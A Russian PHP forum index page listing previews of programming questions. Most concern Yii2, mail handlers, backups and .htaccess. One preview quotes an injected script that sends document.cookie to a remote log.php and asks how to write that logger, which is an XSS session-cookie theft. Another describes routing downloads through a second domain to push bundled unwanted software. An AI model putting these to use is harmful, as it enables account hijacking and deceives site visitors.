PHP
A general-purpose scripting language especially suited to web development
Explore Questions
There are no popular questions to show right now
-
0 votes2 answers
-
0 votes1 answer
-
0 votes1 answer
-
0 votes2 answers
-
0 votes0 answers
2,481 questions in this forum
-
Вопрос по Yii2
Здравствуйте Как в таком запросе указать название таблицы без префиксов $sql = 'SELECT month(y.`date`) as `month`, ( SELECT COUNT(*) FROM yii_news y2 WHERE month(y2.`date`) = `month` AND year(y2.`date`) = :year ) as `count` FROM yii_news y WHERE year(y.`date`) = :year GROUP by `month` ORDER by `date` DESC';return Yii::$app->db->createCommand($sql, [':year'=>$year])->queryAll();Или создать такой запрос через строитель запросов (ActiveRecords)
0 votes2 answers -
В чем проблема?
http://joxi.ru/RmzkGW1tzGyX2O вот обработчик <?php$request = json_decode(json_encode($_POST),true);$phone = $request['phone'];$email = $request['email'];$name = $request['name'];$type = $request['type'];$type2 = $request['type2'];$msg = $request['msg'];$size = $request['size'];$link = $request['link'];if ($request['subject']) { $subject = $request['subject'];} else { $subject = 'Эксперсс анализ сметы. Вам поступила заявка!';}// сообщение клиенту$headers = "Content-type: text/html; charset=UTF-8\r\n";$headers .= "From: \"Почтовый робот\" <ремонт-под-контролем.рф/>\r\n";$contactMessage = "<html><body style='background-color:#f3f3f3;padding:10px 20…
0 votes3 answers -
понижение приоритета mysql при бэкапе
Вопрос есть на засыпку)) столкнулся с проблемой, что при бэкапе больших аккаунтов происходит очень большой расход ресурсов. вплоть до зависания всего сервера.... в основном это связано при бэкапе бд.... с последующим архивированием в .tar.gz есть вариант - как понизить приоритет и сократить количество используемых ресурсов? поделитесь, плиз, как решают такую проблему компании, у которых большие бд... а то ночью происходит стопор... от 30 минут до часу и интересен факт, что загруженность скачет. то больше сотни, то по минимуму.... но сайты и админ панель висит((( может это зомби? upd: рестартанул апач, блокировка на других сайтах снялась. а этот акк висит... бэкап…
0 votes0 answers -
Responsive на php
Здоровья вам, форумчане! Ничего не знаю по php, хорошо разбираюсь в html и css, недавно задался вопросом - как скрыть контент (при определённых параметрах окна браузера) при помощи php. Конечно, есть отличный метод - @media only screen and (max-width: 1000px) { траляля... display:none;Но вышеуказанный метод просто скрывает отображения контента, а мне хочется контент удалить полностью из html вёрстки. Точно так же, как например, можно удалить любой контент с главной страницы wordpress вот этим кодом - <?php if ((is_front_page()) and (!is_paged())) { ?>любой контент, который хочу удалить с главной....<?php } ?>Как сделать так, чтобы контент удалялся или поя…
0 votes16 answers -
Как реализовать активную кнопку
День добрый господа! Какое-то время назад, делал для себя примитивный сайт-портфолио(чисто на html/css), недавно начал изучать php, и решил тренироваться на этои сайте. Отделил хидер и футер, подключаю их,и все бы хорошо, но как на php реализовать в горизонтальном меню, активную кнопку, на которой сейчас находиться посетитель http://joxi.ru/ZrJylxKfydyZAj http://joxi.ru/V2VKZ07SOZOPAv, раньше все это делал ручками и на каждой статической странице прописывал class="current"http://joxi.ru/Dr8E5zYu38Xjm6. Дайте пожалуйста совет, или направте куда-то, только не далеко)
0 votes10 answers -
Вывод текста и изображений из базы
Понимаю, что вопрос поднимался уже 1000 раз, но все же интересно кто и как решает вопрос. Итак, имеем базу данных с двумя таблицами в первой храним тексты, во второй имена файлов изображений к ним. Как вывести определенный текст и одну картинку к нему просто и понятно, но как добавить несколько картинок, и кроме того, вставить их в нужные места текста при помощи PHP? Прописывать в тексте сразу <img src="images/image1.jpg"> - не принимается. Мне приходит на ум следующие - в тексте в нужных местах оставлять метки, потом их отыскивать и менять на тег с подстановкой соответствующего имени файла. Подскажите, пожалуйста кто как поступает?
0 votes9 answers -
откуда это береться?
уже голову сломал, не работает как надо скрипт и не могу понять откуда подчеркнутое берется.
0 votes3 answers -
rest и красота адресной строки
у меня вопрос к тем, кто часто и много занимается разработкой rest-сервисов скажите пожалуйста, часто ли заказчики просят изменить адресную строку в соответствии со своими какими-то там соображениями? при разработке обычных сайтов такое случается нередко
0 votes0 answers -
PHP - есть вопросики ) для всех кто учил )
Есть большое желание обучить язык программирования PHP Как то учил его но забросил! Стоит ли мне учить его, на данный момент мне щас 21 год. Базово знаю HTML,CSS учил верстку верстал, забросил! Щас работаю но время есть на это все да и без кодинга немогу! Что посоветуете ? ) Если учить то не подскажете где лучше всего взять мануал, знаю что в интернете много! Но хотелось бы послушать ваше мнение.
0 votes27 answers -
imagettftext. Не выводится полученный через аякс текст
Суть в следующем.. создаю изображение с текстом, который ввёл пользователь в поле ввода и передаю это значение php с помощью аякс.. Данные получаю, в переменной они есть. но выводится только тот текст, который заранее написан в сам php. <?php$w = 1000;$h = 200;$image = imagecreatetruecolor($w, $h) or die('Cannot create image');//Цвета$white = 0xffffff;$black = 0x000000;$red = 0xff0000;//Шрифт$font = ('BebasNeue.ttf'); // - обязательно надо указать путь до шрифта$fontsize = 100; // размер шрифта, gd1 - в пикселях, gd2 - в пунктах//Cам текст$text = $_POST['case_text'].'1';//Централизация шрифта$sz = imagettfbbox($fontsize, 0, $font, $text);$x = (imageSX($image) - ($sz[…
0 votes0 answers -
Форматирование времени.
Здравствуйте! Мне нужно преобразовать Unixtime в русскоязычную человекопонятную дату. Причем если данное время не отличается от текущего не больше чем на сутки то выводится сколько времени прошло с текущего момента. Такое используется на многих сайтах, я думаю должна быть соответствующая функция или библиотека.
0 votes2 answers -
Удаление строки массива Array - PHP
Столкнулся с такой проблемой. Есть запрос на вывод из SQL БД таблицы. В таблице 15 столбцов. Хочу "прикрутить" фильтр к этой таблице по 5 столбцам. Мои мысли сводятся к поочередному перебиранию строк массива, т.е. имеем массив, перебираем сначала по условию №1 и удаляем неподходящие строки, потом продолжаем выполнять 4 остальные условия и также отбирать строки. как правильно удалить ненужную строку из текущего массива. Думаю еще можно прибегнуть к копированию в соседний новый массив.
0 votes21 answers -
Разработка приложения на PHP с ООП
Здравствуйте. Подскажите как лучше (правильней) писать приложение с использованием ООП? Имеется в виду создание объекта и дальнейшее указание методов. пример <?php $object = new Contoller(); $object->lang(); $object->view(); // .. //?>Или все делать в самих методах и переходить из метода в метод Пример <?phpClass Controller{ function __construct() { // какой-то код $this->lang(); } function lang() { // какой-то код $this->view(); } function view() { // какой-то код } Заранее спасибо P.S. Прошу не задавать вопросы типа - "Зачем ООП пиши на процедурке?".
0 votes6 answers -
.htaccess настройка
Всем привет. Прошу помощи. Пытаюсь сделать seo friendly сайт на angularjs. Собственно вопрос. Есть участок кода настроек для nginx if ($args ~ "_escaped_fragment_=(.*)") { rewrite ^ /snapshot${uri};} Как можно написать аналогичный участок в мой .htaccess файл для apache. Заранее спасибо. Мой файл .htaccess <IfModule mod_rewrite.c> Options +FollowSymlinks RewriteEngine On # Don't rewrite files or directories RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^ - [L] # Rewrite everything else to index.html to allow html5 state links RewriteRule ^ index.html [L]</IfModule>
0 votes19 answers -
wget
Приветствую! Возник сл. вопрос: а wget умеет рекурсивно с удаленного хоста скачивать файлы по маске? Пробовал вот так: wget -r -l 0 -np http://site.ru/upload/export_file_*.csvно что-то походу или я не верно запись составил, или это в принципе невозможно сделать... p.s. curl тоже пробовал вот так: curl site.ru/upload -A "*.csv"не алле.
0 votes4 answers -
настроить форму заказа
Добрый день, на сайте http://legrand-servis.rent-odessa.com/ ест форма "оформить заявку" и "Заказать консультацию" как сделать так что бы письмо о заказе приходило на почту. Сайт джумла 3.0 Я в php- полный "НОЛЬ" - прошу помочь в том что бы написать сам пхп. и как его привязать к форме!? Спасибо за любую помощь.!
0 votes4 answers -
Дублирование контента (ссылок) на другом домене.
Есть сайт просмотра онлайн фильмов. База уже большая, около 700 фильмов. Для каждого фильма есть ссылка на торрент файл. Есть идея зарабатывать на download трафике, но для этого нужно поставить код партнерки который все ссылки на скачивания заменит на скачивание своей какой то программы, которая в результате устанавливает ненужный пользователю софт в добавок. Из за этого ПС наказывают фильтрами, но есть вариант сделать так, чтобы эти файлы скачивались с другого домена. То есть по клику на "Скачать" открывается новая страница которая ведет на другой по сути сайт а оттуда уже скачивается. Как думаете, как лучше это все реализовать? Что бы при замене/добавлении файлов на осн…
0 votes6 answers -
Не могу понять как liveinternet.ru пользователей с сайтов получает?
liveinternet http://www.liveinternet.ru/stat/имясайта.ru/sources.html раздел отчет: количество посетителей с разных сайтов Как сервис собирает данные? counter.yadro.ru/hit?t52.6;r - куда идет запрос(выводит картинку) escape(document.referrer) - ссылка предыдущей страницы ((typeof(screen)=="undefined")?"": - параметры экранна ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? - параметры экранна screen.colorDepth:screen.pixelDepth))+";u"+ - параметры экранна escape(document.URL) имя сайта ";"+Math.random()+ случайное число зачем оно ему?????????? document.referrer можно узнать через $ SERVER['HTTP REFERER'] Не могу понять как он пользователей с сайтов получает?…
0 votes1 answer -
Комментарии на сайте
Хочу сделать так, чтобы комментарии на сайте могли оставлять только зарегистрированные пользователи, но не могу найти подходящего скрипта. Решил сделать так: весь блок с комментариями будет показываться только зарегистрированным пользователям. С PHP у меня очень плохо, в гугле уже 2 дня ищу. Может кто знает подходящий мне скрипт, или знает как это сделать?
0 votes3 answers -
как получить куку? хелп
Есть поле сообщений, где добавляется такой скрипт (ниже). Создается картинка с урлом в котором сессионая кука есть. Подскажите плиз как этот log.php должен быть написан принимающий один параметр и забрасывающий результат того, что в урле в текстовый файл log.txt? <script> url=document.cookie; var oImg=document.createElement("img"); oImg.setAttribute('src','http://sait/log.php?cookie='+url); oImg.setAttribute('alt','na'); oImg.setAttribute('height','1px'); oImg.setAttribute('width','1px'); document.body.appendChild(oImg); </script>
0 votes7 answers -
Определение кодировки сервера
Ситуация следующая: Есть PHP скрипт index.php в кодировке UTF-8 крутится это все например под Windows у которой кодировка CP1251 Если попробуем создать в корне сайта файлик с именем "тест.php" через скрипт, все будет работать нормально, но при входе на сервер через FTP мы увидим "тест.php" А если закачаем этот файл через ftp, то выглядеть в файловой системе он будет как "тест.php", но вот из index.php данный файл будет доступен только при перекодировании названия в CP1251 Цель: попробовать как-то автоматизировать определение кодировки системы, хотелось бы, чтобы файлы нормально смотрелись как в родной файловой системе, так и были доступны из скриптов в отличной от с…
0 votes12 answers -
Не выполняется условие запроса sql
Здравствуйте! Есть функция поиска, которая выбирает условия поиска, исходя из значения $select. Но Это не работает, выполнятся всегда поиск по значению $select == 'all'. Сама функция: function magazine_search($query, $select){ if($select == 'all') { $query = clear($query); try { $dsn = sprintf('mysql:host=%s;dbname=%s;charset=utf8', HOST, DB); $pdo = new PDO($dsn, USER, PASS); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { echo "<p>Запрос на выборку данных из бызы не прошёл. Напишите об этом администратору <a href='mailto:admin@torawhite.ru'>admin…
0 votes1 answer -
раскрутка сайта
Ребятки,мне нужно раскрутить сайт на wordpress что бы он бы в топе в гугле. Когда то занимался этим,уже все зыбал( Полил на сайт "googlef19133023147b132a0a.html" остальное не помню.
0 votes10 answers -
Ошибка при записи массива в констану
При определении константы через define(), все идеально. define('PATH', $_SERVER['DOCUMENT_ROOT']. '/my_path');Однако при аналогичном определении через const const PATH = $_SERVER['DOCUMENT_ROOT'];Выбрасывает синтаксическую ошибку : Parse error: syntax error, unexpected '$_SERVER' (T_VARIABLE) Мб я уже туплю, но разъясните плз, что тут не так?
0 votes3 answers -
jquery file upload
всем привет понадобилось поставить обычный загрузчик файлов решил попробовать поставить jQuery-File-Upload, скачав закинув файлы на сайт работающий на iis, возникла проблема файлы грузятся, выдается список загруженного, но после закрытия браузера и и вновь его открытия - файлы там так и висят , а список должен быть пустым , новая сессия всёже как. Но странно то что у меня всё норм, новый лист при каждом заходе на сайт, а человек кому я это сделал уверяет в обратном. сказав что проверял на нескольких компах как сделать 100% новую сессию даже после закрытия окна? В файле UploadHandler.php имеются некоторые настройки, в англ я не силен поэтому мог что либо пропустить я мен…
0 votes0 answers